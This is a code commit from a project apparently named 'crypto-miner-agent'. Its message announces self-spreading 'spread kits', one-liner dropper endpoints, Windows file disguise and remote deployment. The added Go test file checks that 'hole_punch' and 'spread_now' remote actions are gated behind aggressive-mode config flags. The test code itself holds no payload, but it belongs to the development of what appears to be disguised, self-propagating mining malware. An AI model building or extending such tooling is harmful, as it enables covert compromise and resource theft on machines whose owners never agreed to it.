Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/aggressive_commands_test.go

@@ -0,0 +1,46 @@
+package client
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestAllowRemoteActionHolePunch(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
+	ok, reason := c.allowRemoteAction("hole_punch")
+	if ok || reason == "" {
+		t.Fatalf("expected hole punch blocked without forge flag")
+	}
+
+	c.cfg.HolePunch = true
+	ok, reason = c.allowRemoteAction("hole_punch")
+	if !ok || reason != "" {
+		t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestAllowRemoteActionSpread(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
+	ok, _ := c.allowRemoteAction("spread_now")
+	if ok {
+		t.Fatal("spread_now should require auto_spread or remote_aggressive")
+	}
+	c.cfg.RemoteAggressive = true
+	ok, _ = c.allowRemoteAction("spread_now")
+	if !ok {
+		t.Fatal("spread_now should allow with remote_aggressive")
+	}
+}
+
+func TestParsePortArg(t *testing.T) {
+	if parsePortArg("", 8989) != 8989 {
+		t.Fatal("empty should fallback")
+	}
+	if parsePortArg("443", 8989) != 443 {
+		t.Fatal("443 expected")
+	}
+	if parsePortArg("bad", 8989) != 8989 {
+		t.Fatal("invalid should fallback")
+	}
+}